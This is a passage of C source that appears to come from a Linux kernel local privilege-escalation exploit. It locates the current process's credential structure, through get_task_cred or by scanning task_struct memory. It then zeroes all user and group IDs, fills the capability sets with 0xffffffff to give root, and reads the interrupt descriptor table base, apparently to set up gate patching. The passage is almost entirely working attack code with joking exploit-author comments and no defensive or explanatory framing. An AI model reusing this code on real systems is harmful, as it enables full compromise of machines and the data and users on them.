fn1 = (void*)kdlsym(&ks, fncred);
if (fn1) {
j = fn1((void*)task_struct);
// And decrease refcount we just increased
asm("lock; decl (%0)" :: "r"(j));
}
}
else if (!ret)
task_struct = gettask();
else
return -ret;
if (!task_struct)
return -5;
// No kallsyms or no get_task_cred, manually try to find
if (!j) {
// all the creds are belong to us
for (i = 0; i < 0x1000; i += sizeof(void*)) {
p = (char *)(task_struct + i);
for (k = 0; k < tasknamelen; k++) {
if (p[k] != taskname[k])
break;
}
if (k == tasknamelen) {
cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);
j = (int *)cred;
break;
}
}
if (!j)
return -1;
}
for (i = 0; i < 1000; i++, j++) {
if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {
/* uid, euid, suid, fsuid */
j[0] = j[1] = j[2] = j[3] = 0;
/* gid, egid, sgid, fsgid */
j[4] = j[5] = j[6] = j[7] = 0;
/* ALLCAPS!!111 */
j[10] = j[11] = 0xffffffff;
j[12] = j[13] = 0xffffffff;
j[14] = j[15] = 0xffffffff;
return 0;
}
}
return -2;
}
struct gdt
{
uint16_t limit;
uint32_t base;
}__attribute__((packed));
static unsigned long getidt()
{
struct gdt idt;
memset(&idt, 0x00, sizeof(struct gdt));
asm volatile("sidt %0" : "=m"(idt));
return idt.base | 0xFFFFFFFF00000000UL;
}
typedef struct gate_struct {
uint16_t offset_low;
uint16_t segment;
unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
uint16_t offset_middle;
#ifdef __x86_64__
uint32_t offset_high;
uint32_t zero1;
#endif
} __attribute__((packed)) gate_desc;
enum {
GATE_INTERRUPT = 0xE,
GATE_TRAP = 0xF,
GATE_CALL = 0xC,
GATE_TASK = 0x5,
};